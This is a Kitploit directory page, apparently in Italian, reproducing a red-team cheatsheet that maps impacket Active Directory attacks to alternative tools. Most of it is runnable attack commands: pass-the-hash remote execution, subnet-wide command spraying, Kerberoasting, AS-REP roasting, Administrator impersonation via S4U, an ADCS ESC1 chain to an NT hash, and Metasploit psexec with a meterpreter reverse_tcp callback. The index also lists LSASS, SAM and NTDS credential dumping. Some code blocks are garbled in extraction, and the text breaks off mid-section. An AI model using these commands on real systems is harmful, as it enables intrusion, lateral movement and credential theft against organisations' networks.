Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Outpacket — Questa cheatsheet mappa i flussi di lavoro comuni di impacket alle loro alternative moderne. | Kitploit
Strumenti/GitHubGitHub/n00py/outpacket
Attacchi alle PasswordMovimento LateraleRaccolta InformazioniPost-ExploitPenetration TestingAutenticazioneApprendimento e FormazioneRed TeamingRisorse Curate
GitHubn00py/outpacket

Outpacket

Questa cheatsheet mappa i flussi di lavoro comuni di impacket alle loro alternative moderne.

3022353 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

📦 Outpacket

Stanco di impacket? Questa cheatsheet mappa i flussi di lavoro comuni di impacket con le loro alternative moderne


Indice

  • Riferimento rapido autenticazione
  • 1. Esecuzione remota
    • Esecuzione WMI · wmiexec.py
    • Esecuzione DCOM · dcomexec.py
    • Esecuzione basata su servizi · smbexec.py · psexec.py
    • Esecuzione di attività pianificata · atexec.py
    • Esecuzione in blocco · wmiexec.py · psexec.py
  • 2. Kerberos
    • Richiedi TGT · getTGT.py
    • Richiedi TGS · getST.py
    • S4U2self / S4U2proxy · getST.py -impersonate
    • Kerberoasting · GetUserSPNs.py
    • AS-REP Roasting · GetNPUsers.py
    • ccache Roasting
    • Sonda pre-auth / tipo di cifratura · GetNPUsers.py
    • Recupero hash NT PKINIT
    • Rinnovo ticket · getST.py -renew
    • Conversione formato ticket · ticketConverter.py
    • Cambia password · changepasswd.py
    • Ticket Golden / Silver · ticketer.py
  • 3. SMB / Operazioni sui file
    • Elenca condivisioni · smbclient.py -shares
    • Sfoglia / elenca file · smbclient.py
    • Scarica un file · smbclient.py get
    • Scarica con semantiche di backup
    • Carica un file · smbclient.py put
    • Crea / rimuovi directory e file · smbclient.py
    • Elenca named pipe · smbclient.py
    • Pass the Hash — SMB · smbclient.py -hashes
    • SMB su SOCKS5 · proxychains smbclient.py
    • Enumera file aperti / sessioni · netview.py
    • Timestomping remoto dei file
    • Enumerazione snapshot VSS · smbclient.py list_snapshots
  • 4. Dump delle credenziali
    • Parsing del minidump LSASS
    • Dump degli hash SAM · secretsdump.py -sam
    • Dump dei segreti LSA · secretsdump.py -lsa
    • Dump di SAM + LSA insieme · secretsdump.py
    • Dump SAM / LSA in blocco · secretsdump.py
    • Dump NTDS tramite snapshot VSS · secretsdump.py -use-vss
    • Dump NTDS tramite IFM · wmiexec.py · smbclient.py
    • Dump NTDS tramite wbadmin · wmiexec.py
    • Dump NTDS tramite Diskshadow · wmiexec.py · smbclient.py
    • Dump NTDS tramite Kerb-Key-List ·
  • 5. Enumerazione
    • Utenti di dominio (SAMR) · samrdump.py · net.py
    • Gruppi / alias locali · net.py group · net.py localgroup
    • SID Brute Force / Lookup · lookupsid.py
    • Endpoint RPC · rpcdump.py · rpcmap.py
    • Interrogazione WMI · wmiquery.py
    • Invocazione di metodi WMI · wmiexec.py
    • Registro remoto · reg.py
    • Descrittore di sicurezza della chiave di registro
    • Enumerazione dei servizi · services.py
  • 6. Active Directory / LDAP
    • Enumera utenti / computer AD · GetADUsers.py · GetADComputers.py
    • Enumerazione di GPO e trust di dominio · ldapsearch · bloodyAD
    • Trova configurazioni di delega · findDelegation.py
    • Aggiungi un account computer · addcomputer.py
    • Aggiungi un account utente · net.py user -add
    • Imposta RBCD · rbcd.py
    • Abuso DACL · dacledit.py · owneredit.py
    • Modifica attributi utente (UAC) · net.py
  • 7. Coercizione dell'autenticazione · printerbug.py · dfscoerce.py
    • Schema Coerce + Relay · ntlmrelayx.py · smbserver.py (cattura)
  • 8. Certificati
    • Generazione PFX autofirmato
    • Enumerazione modelli di certificato ADCS · netexec ldap -M adcs
    • ADCS ESC1
  • 9. Raccolta di credenziali esotiche
    • certsync — Golden Cert + UnPAC the Hash
    • DPAPI Domain Backup Key — Decifratura massiva delle credenziali

Riferimento rapido autenticazione

⚠️ Nota sul ccache di Titanis: -Tgt attualmente rifiuta i file ccache generati da impacket (getTGT.py) e strumenti simili. Causa principale: impacket codifica il service principal del TGT come NT_PRINCIPAL (name type 1); Titanis si aspetta NT_SERVICE_INSTANCE (name type 2) e non riconosce il ticket come TGT. È in arrivo una correzione da parte dello sviluppatore di Titanis per allentare questo controllo. Nel frattempo, usa Kerb asreq -TicketCache per ottenere un TGT nativo di Titanis e passalo tramite -Tgt. Separatamente, -TicketCache non fornisce silenziosamente alcun contesto di autenticazione per file ccache non nativi — usa invece -Tgt (con un file generato da Titanis). Per i file ccache di impacket/Metasploit, usa KRB5CCNAME + wmiexec.py -k / smbclient.py -k direttamente.


1. Esecuzione remota

Esecuzione WMI```bash

impacket

wmiexec.py DOMAIN/jdoe:[email protected] "whoami"

gopacket — password (interactive semi-shell)

wmiexec DOMAIN/jdoe:[email protected]

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami"

Titanis

Wmi exec 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 "whoami"

impacket — pass-the-hash

wmiexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] "ipconfig"

gopacket — pass-the-hash

wmiexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

NetExec — pass-the-hash

netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -x "ipconfig"

Titanis — pass-the-hash

Wmi exec 192.168.1.10 -UserName jdoe -UserDomain DOMAIN
-NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 "ipconfig"

impacket — Kerberos

wmiexec.py -k -no-pass DOMAIN/[email protected] "hostname"

gopacket — Kerberos (must use FQDN domain; FQDN hostname as target)

KRB5CCNAME=jdoe.ccache wmiexec -k -no-pass -dc-ip 192.168.1.1
DOMAIN/[email protected]

Titanis — Kerberos

Use the short hostname as target (for Kerberos SPN + application protocol);

use -ha for the actual TCP connection (IP or FQDN). FQDNs as the target fail

because the server expects the short hostname in the WMI activation request.

Wmi exec dc01 -ha 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1 -Password Password123 "hostname"

Titanis — Kerberos with ccache TGT (Titanis-generated only; see TicketCache note)

Wmi exec dc01 -ha 192.168.1.10 -Tgt /tmp/jdoe.ccache -Kdc 192.168.1.1 "hostname"

root@kitploit:~
[↑ Torna all'indice](#index)

---

### DCOM Exec

> **Titanis `Dcom invoke` — SOP per il lookup del CLSID:**
> - **La risoluzione del ProgID è locale.** Titanis risolve i ProgID (ad es. `MMC20.Application`) dal registro dell'attaccante, non da quello del target. Da Linux non esiste un registro da interrogare; da Windows, il CLSID dell'attaccante può differire da quello del target. Usa sempre `Reg` per cercare il CLSID effettivo sul sistema remoto, quindi passa il GUID grezzo.
> - **Attraversamento della catena di proprietà** (v0.9.20260320+): Dcom invoke ora supporta percorsi di proprietà con notazione puntata come `Document.ActiveView.ExecuteShellCommand`, attraversando automaticamente la catena IDispatch. MMC20.Application funziona. ShellWindows `Item()` non funziona — richiede un argomento indice che la sintassi della catena non può passare.```bash
# impacket
dcomexec.py DOMAIN/jdoe:[email protected] "whoami"

# impacket — pass-the-hash
dcomexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] "whoami"

# impacket — explicit CLSID (default is MMC20.Application; ShellWindows or ShellBrowserWindow also work)
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellWindows
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellBrowserWindow

# gopacket — password (interactive semi-shell; default object is ShellWindows)
dcomexec DOMAIN/jdoe:[email protected]

# gopacket — pass-the-hash with MMC20 object
dcomexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -object MMC20 DOMAIN/[email protected]

# gopacket — silent command execution (no interactive shell, output redirect required)
dcomexec -object MMC20 -silentcommand DOMAIN/jdoe:[email protected] \
  'cmd /c whoami > C:\Windows\Temp\out.txt'

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method dcomexec

# Titanis — MMC20.Application ExecuteShellCommand (requires v0.9.20260320+)
# 4 args: Command, Directory, Parameters, WindowState (7=minimized)
# ExecuteShellCommand does not return output — redirect to a file and retrieve via Smb2Client
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  49B2791A-B1AE-4C90-9B8E-E860BA07F889 \
  Document.ActiveView.ExecuteShellCommand \
  cmd.exe 'C:\' '/c whoami > C:\Windows\Temp\out.txt' '7'

Smb2Client get -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  '\\192.168.1.10\C$\Windows\Temp\out.txt'

# Titanis — ShellBrowserWindow Navigate (launches exe, no args — works on older versions too)
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  '{C08AFD90-F2A1-11D1-8455-00A0C91F3880}' Navigate \
  'C:\Windows\System32\cmd.exe'

# CLSID lookup SOP — look up on the remote system, then pass the raw GUID
# Step 1: Titanis Reg list cannot read unnamed (default) registry values — use wmiexec
wmiexec.py DOMAIN/jdoe:[email protected] \
  'reg query HKCR\\MMC20.Application\\CLSID /ve'
# → (Default)    REG_SZ    {49B2791A-B1AE-4C90-9B8E-E860BA07F889}

# Step 2 (optional): inspect the CLSID entry to confirm AppID/auth level
Reg list 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  'HKLM\SOFTWARE\Classes\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'

↑ Torna all'indice


Esecuzione basata sui servizi (smbexec / psexec)

⚠️ smbexec.py contro i DC: smbexec.py fallisce contro i controller di dominio con STATUS_OBJECT_NAME_NOT_FOUND all'apertura di \pipe\svcctl. I DC sono più severi riguardo ai parametri di apertura delle named pipe rispetto ai server membri — i flag di smbexec vengono respinti laddove quelli di services.py non lo sono. Usare services.py per la gestione dei servizi sui DC, oppure wmiexec.py per l'esecuzione remota.```bash

impacket — smbexec (interactive semi-shell; works against member servers)

smbexec.py DOMAIN/jdoe:[email protected]

gopacket — smbexec (interactive semi-shell; runs as NT AUTHORITY\SYSTEM)

smbexec DOMAIN/jdoe:[email protected]

gopacket — smbexec pass-the-hash

smbexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

impacket — psexec

psexec.py DOMAIN/jdoe:[email protected] cmd.exe

gopacket — psexec (uploads service binary, runs as NT AUTHORITY\SYSTEM)

psexec DOMAIN/jdoe:[email protected]

gopacket — psexec pass-the-hash

psexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

Metasploit — password

msf6 > use exploit/windows/smb/psexec msf6 exploit(psexec) > run rhosts=192.168.1.10 smbdomain=DOMAIN smbuser=jdoe
smbpass=Password123 payload=windows/x64/meterpreter/reverse_tcp lhost=

Metasploit — pass-the-hash

msf6 exploit(psexec) > run rhosts=192.168.1.10 smbdomain=DOMAIN smbuser=jdoe
smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
payload=windows/x64/meterpreter/reverse_tcp lhost=

Titanis — create service, retrieve output, clean up

Scm create 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc
"C:\Windows\System32\cmd.exe /c whoami > C:\Windows\Temp\out.txt" -Start Smb2Client get \192.168.1.10\ADMIN$\Temp\out.txt out.txt -UserName jdoe -UserDomain DOMAIN -Password Password123 Scm stop 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc Scm delete 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc

root@kitploit:~
[↑ Torna all'indice](#index)

---

### Esecuzione dell'attività pianificata

> **Nota:** MS-TSCH non è ancora implementato in Titanis. Usa `Win32_ScheduledJob` tramite WMI come soluzione alternativa, oppure `atexec.py` per la semantica MS-TSCH reale.```bash
# Titanis — create immediate scheduled task via Win32_ScheduledJob
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  Win32_ScheduledJob Create \
  "Command='cmd /c whoami > C:\\Windows\\Temp\\out.txt',StartTime='********143000.000000+000'"

# Titanis — retrieve output and clean up
Smb2Client get \\192.168.1.10\C$\Windows\Temp\out.txt out.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123
Smb2Client rm  \\192.168.1.10\C$\Windows\Temp\out.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

# impacket — true MS-TSCH (creates, runs, and cleans up automatically)
atexec.py DOMAIN/jdoe:[email protected] "whoami > C:\Windows\Temp\out.txt"

# gopacket — MS-TSCH scheduled task exec (runs as NT AUTHORITY\SYSTEM)
atexec DOMAIN/jdoe:[email protected] whoami
# gopacket — pass-the-hash
atexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] whoami

# impacket — pass-the-hash
atexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] \
  "whoami > C:\Windows\Temp\out.txt"

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method atexec

↑ Torna all'Indice


Esecuzione Remota in Blocco su Più Host```bash

NetExec — spray across a subnet

netexec smb 192.168.1.0/24 -u jdoe -p Password123 -x "whoami"

NetExec — pass-the-hash spray

netexec smb 192.168.1.0/24 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -x "whoami"

Titanis — loop over a host list

while IFS= read -r host; do echo "=== $host ===" >> exec_results.txt wmi exec "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123
"whoami /all" >> exec_results.txt 2>&1 done < hosts.txt

root@kitploit:~
[↑ Torna all'indice](#index)

---

## 2. Kerberos

### Richiedi un TGT```bash
# impacket — password
getTGT.py DOMAIN/jdoe:Password123 -dc-ip 192.168.1.1

# gopacket — password
getTGT -dc-ip 192.168.1.1 DOMAIN/jdoe:[email protected]

# minikerberos — password
minikerberos-getTGT "kerberos+password://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache

# Titanis — password (outputs kirbi)
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# Metasploit
msf6 > use auxiliary/admin/kerberos/get_ticket
msf6 auxiliary(get_ticket) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL user=jdoe \
  password=Password123 action=GET_TGT

# impacket — NTLM hash
getTGT.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/jdoe -dc-ip 192.168.1.1

# gopacket — NTLM hash
getTGT -dc-ip 192.168.1.1 -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

# minikerberos — NTLM hash
minikerberos-getTGT "kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache

# Titanis — NTLM hash
Kerb asreq -UserName jdoe -Realm DOMAIN -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# impacket — AES256
getTGT.py -aesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 DOMAIN/jdoe

# minikerberos — AES256
minikerberos-getTGT \
  "kerberos+aes://DOMAIN\jdoe:76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4@192.168.1.1" \
  --ccache jdoe.ccache

# Titanis — AES256
Kerb asreq -UserName jdoe -Realm DOMAIN \
  -AesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# certipy — PKINIT
certipy auth -pfx jdoe.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

# minikerberos — PKINIT (also recovers NT hash via UnPAC)
minikerberos-getTGT \
  "kerberos+pfx://DOMAIN\jdoe:@192.168.1.1?pfx=jdoe.pfx&pfxpass=Password123" \
  --ccache jdoe.ccache

# Titanis — explicit RC4
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
  -EncTypes Rc4Hmac -Kdc 192.168.1.1 -OutputFileName jdoe-tgt-rc4.kirbi

↑ Torna all'indice


Richiedi un ticket di servizio (TGS)```bash

impacket

getST.py -spn cifs/fileserver.domain.local -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

Metasploit

msf6 auxiliary(get_ticket) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL user=jdoe
password=Password123 spn=cifs/fileserver.domain.local action=GET_TGS

minikerberos (requires existing ccache)

minikerberos-getTGS
"kerberos+ccache://DOMAIN\jdoe:@192.168.1.1?ccache=jdoe.ccache"
cifs/fileserver.domain.local fileserver.ccache

Titanis

Kerb tgsreq -Kdc 192.168.1.1 -Tgt jdoe-tgt.kirbi
cifs/fileserver.domain.local -OutputFileName jdoe-fileserver.kirbi

gopacket — password

getST -dc-ip 192.168.1.1 -spn cifs/fileserver.domain.local DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

getST -dc-ip 192.168.1.1 -spn cifs/fileserver.domain.local
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Torna all'indice](#index)

---

### S4U2self / S4U2proxy```bash
# impacket — S4U2self + S4U2proxy in one call
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  -dc-ip 192.168.1.1 DOMAIN/svc:Password123

# impacket — pass-the-hash
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/svc

# minikerberos — S4U2self
minikerberos-getS4U2self \
  "kerberos+password://DOMAIN\svc$:[email protected]" \
  [email protected] s4u_self.ccache

# minikerberos — S4U2proxy
minikerberos-getS4U2proxy \
  "kerberos+password://DOMAIN\svc$:[email protected]" \
  cifs/target.domain.local s4u_self.ccache s4u_proxy.ccache

# Titanis — combined self+proxy
Kerb tgsreq -Kdc 192.168.1.1 -Tgt svc-tgt.kirbi \
  -S4UserName Administrator@DOMAIN cifs/target.domain.local \
  -OutputFileName admin-target.kirbi

# gopacket — S4U2self + S4U2proxy (combined)
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
  DOMAIN/svc:[email protected]
# gopacket — pass-the-hash
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ Torna all'indice


Kerberoasting```bash

impacket

GetUserSPNs.py -dc-ip 192.168.1.1 -request DOMAIN/jdoe:Password123

Metasploit

msf6 > use auxiliary/gather/get_user_spns msf6 auxiliary(get_user_spns) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL
user=jdoe pass=Password123

Metasploit — pass-the-hash

msf6 auxiliary(get_user_spns) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL
user=jdoe nthash=A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

NetExec

netexec ldap 192.168.1.1 -u jdoe -p Password123 --kerberoasting kerberoast.txt

minikerberos

minikerberos-kerberoast "kerberos+password://DOMAIN\jdoe:[email protected]"
kerberoast_hashes.txt

minikerberos — NTLM hash

minikerberos-kerberoast "kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]"
kerberoast_hashes.txt

pypykatz

pypykatz kerberos spnroast "kerberos+password://DOMAIN\jdoe:[email protected]"
-o kerberoast_hashes.txt

pypykatz — NTLM hash

pypykatz kerberos spnroast
"kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]"
-o kerberoast_hashes.txt

msldap

msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"

msldap> kerberoast kerberoast_hashes.txt

Titanis — enumerate SPNs, get TGT, loop tgsreq per SPN, extract hashes

Use Ldap query (not Ldap search) — requires -FollowReferrals on Linux

-OutputFields takes one field at a time on Linux; use -OutputStyle List to get multiple attrs

Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
"(servicePrincipalName=)" -OutputFields servicePrincipalName
-OutputStyle List -FollowReferrals 2>/dev/null
| awk '/^servicePrincipalName:/{print $2}' > spns.txt Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123
-Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi while IFS= read -r spn; do safe=$(echo "$spn" | tr '/:@' '') kerb tgsreq -Kdc 192.168.1.1 -Tgt jdoe-tgt.kirbi
-EncTypes Rc4Hmac "$spn" -OutputFileName "roast
${safe}.kirbi" done < spns.txt Kerb select -From roast_
.kirbi -Into kerberoast-all.ccache minikerberos-ccacheroast kerberoast-all.ccache

gopacket — password (requires -port 389; default 445 breaks LDAP enumeration)

GetUserSPNs -dc-ip 192.168.1.1 -port 389 -request DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

GetUserSPNs -dc-ip 192.168.1.1 -port 389 -request
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Torna all'indice](#index)

---

### AS-REP Roasting```bash
# impacket — no credentials required
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/

# Metasploit
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
  user_file=/path/to/users.txt

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --asreproast asrep.txt

# pypykatz — no credentials required, userlist
pypykatz kerberos asreproast "kerberos+password://DOMAIN\@192.168.1.1" \
  --userlist users.txt -o asrep_hashes.txt

# pypykatz — authenticated, auto-discover targets via LDAP
pypykatz kerberos asreproast "kerberos+password://DOMAIN\jdoe:[email protected]" \
  --ldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]" -o asrep_hashes.txt

# minikerberos — userlist (no credentials required)
# syntax: minikerberos-asreproast <server_ip> <domain> [user | @userlist.txt]
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt

# minikerberos — NTLM hash auth (enumerate via LDAP, then roast)
# Pass individual username or @file; no URL arg — server+domain are positional
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt

# msldap (enumerate targets only — no hash capture)
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> asrep

# Titanis — find targets via LDAP, loop asreq
# Note: -FollowReferrals required on Linux — default behavior prints referral as INFO and returns no records
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=4194304)" \
  -OutputFields sAMAccountName -FollowReferrals > asrep_targets.txt
while IFS= read -r user; do
  kerb asreq -UserName "$user" -Realm DOMAIN \
    -Kdc 192.168.1.1 -EncTypes Rc4Hmac \
    -OutputFileName "asrep_${user}.kirbi" 2>/dev/null
done < <(awk '/sAMAccountName:/{print $2}' asrep_targets.txt)

# gopacket — authenticated LDAP enumeration + roast (requires -port 389)
GetNPUsers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetNPUsers -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — unauthenticated with user list
GetNPUsers -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/@192.168.1.1

↑ Torna all'indice


ccache Roasting (offline)

Estrae gli hash $krb5tgs$ dai file ccache rubati senza effettuare nuove richieste.```bash

minikerberos

minikerberos-ccacheroast stolen.ccache

pypykatz

pypykatz kerberos ccache roast stolen.ccache

Feed output to: hashcat -m 13100 or john --format=krb5tgs

root@kitploit:~
[↑ Torna all'indice](#index)

---

### Pre-Auth / Enc-Type Probe```bash
# kerbrute — enumerate valid accounts (no credentials)
kerbrute userenum -d DOMAIN --dc 192.168.1.1 users.txt

# pypykatz — enumerate valid accounts (no credentials)
pypykatz kerberos brute "kerberos+password://DOMAIN\@192.168.1.1" users.txt

# impacket — shows no-preauth accounts only
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/

# Metasploit — classifies valid / disabled / no-preauth
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
  user_file=/path/to/users.txt verbose=true

# Titanis — single account probe
Kerb getasinfo -UserName jdoe -Realm DOMAIN -Kdc 192.168.1.1

# Titanis — bulk probe loop
while IFS= read -r user; do
  result=$(kerb getasinfo -UserName "$user" -Realm DOMAIN -Kdc 192.168.1.1 2>&1)
  if echo "$result" | grep -q "PRINCIPAL_UNKNOWN\|does not exist"; then
    echo "INVALID: $user"
  elif echo "$result" | grep -q "preauth.*false\|DONT_REQ_PREAUTH"; then
    echo "NO-PREAUTH: $user"
  else
    echo "VALID: $user"
  fi
done < users.txt

↑ Torna all'indice


PKINIT NT Hash Recovery (UnPAC)

Recupera l'hash NT di un account tramite PKINIT dopo aver ottenuto un certificato.```bash

certipy — certificate → NT hash + TGT (most direct; also outputs ccache)

certipy auth -pfx targetuser.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

certipy — specify username explicitly (useful when UPN in cert differs)

certipy auth -pfx admin.pfx -username Administrator -domain DOMAIN.LOCAL
-dc-ip 192.168.1.1

minikerberos — certificate → NT hash only

minikerberos-getNTPKInit
"kerberos+pfx://DOMAIN\targetuser:@192.168.1.1?pfx=targetuser.pfx"
targetuser_nt.txt

PKINITtools — gettgtpkinit.py: PFX → TGT ccache + prints AS-REP enc key

python gettgtpkinit.py -cert-pfx targetuser.pfx -pfx-pass Password123
-dc-ip 192.168.1.1 DOMAIN/targetuser targetuser.ccache

PKINITtools — getnthash.py: TGT ccache + AS-REP enc key → NT hash

(run after gettgtpkinit.py; use the AS-REP key printed by that tool)

export KRB5CCNAME=targetuser.ccache python getnthash.py -key DOMAIN/targetuser

Full chain: certipy ESC1 → PFX → minikerberos UnPAC → NT hash → Titanis PTH

certipy req -username jdoe@DOMAIN -password Password123
-ca CA-NAME -template VulnerableTemplate
-upn [email protected]
-target ca.domain.local -out admin minikerberos-getNTPKInit
"kerberos+pfx://DOMAIN\Administrator:@192.168.1.1?pfx=admin.pfx" admin_nt.txt Wmi exec 192.168.1.10 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> "whoami"

root@kitploit:~
[↑ Torna all'indice](#index)

---

### Rinnovo del Ticket```bash
# impacket
export KRB5CCNAME=jdoe.ccache
getST.py -k -no-pass -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 DOMAIN/jdoe

# MIT Kerberos
kinit -R
krenew -v -b -t

# minikerberos
minikerberos-renewTGT "kerberos+ccache://DOMAIN\jdoe:@192.168.1.1?ccache=jdoe.ccache" jdoe-renewed.ccache

# Titanis
Kerb renew -Ticket jdoe-tgt.kirbi -OutputFileName jdoe-tgt-renewed.kirbi

# gopacket — renew TGT (KRB5CCNAME must point to an existing ccache)
KRB5CCNAME=jdoe.ccache getST -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 -k -no-pass DOMAIN/[email protected]

↑ Back to Index


Conversione del formato ticket```bash

impacket

ticketConverter.py jdoe.ccache jdoe.kirbi ticketConverter.py jdoe.kirbi jdoe.ccache

Metasploit

msf6 > use auxiliary/admin/kerberos/ticket_converter msf6 auxiliary(ticket_converter) > run inputpath=jdoe.ccache outputpath=jdoe.kirbi

Metasploit — inspect ticket (optionally decrypt)

msf6 > use auxiliary/admin/kerberos/inspect_ticket msf6 auxiliary(inspect_ticket) > run ticket_path=jdoe.ccache nthash=A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

minikerberos

minikerberos-ccache2kirbi jdoe.ccache minikerberos-kirbi2ccache jdoe.kirbi jdoe.ccache minikerberos-ccacheedit list jdoe.ccache minikerberos-ccacheedit delete jdoe.ccache

Titanis — merge multiple files

Kerb select -From jdoe.ccache Kerb select -From jdoe*.kirbi -Into all-jdoe.ccache

gopacket — ccache ↔ kirbi conversion

ticketConverter jdoe.ccache jdoe.kirbi ticketConverter jdoe.kirbi jdoe.ccache

gopacket — inspect ticket contents

describeTicket /path/to/jdoe.ccache describeTicket /path/to/jdoe.kirbi

root@kitploit:~
[↑ Torna all'indice](#index)

---

### Cambia Password```bash
# impacket — user changes own password
changepasswd.py -protocol kpasswd DOMAIN/jdoe:[email protected] -newpass NewPass

# Titanis — change own password
Kerb changepw jdoe@DOMAIN 192.168.1.1 -Password OldPass NewPass

# impacket — admin resets another user's password
changepasswd.py -reset DOMAIN/admin:[email protected] -newpass NewPass -altuser DOMAIN/jdoe

# bloodyAD — admin resets another user's password
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set password jdoe NewPass

# bloodyAD — pass-the-hash
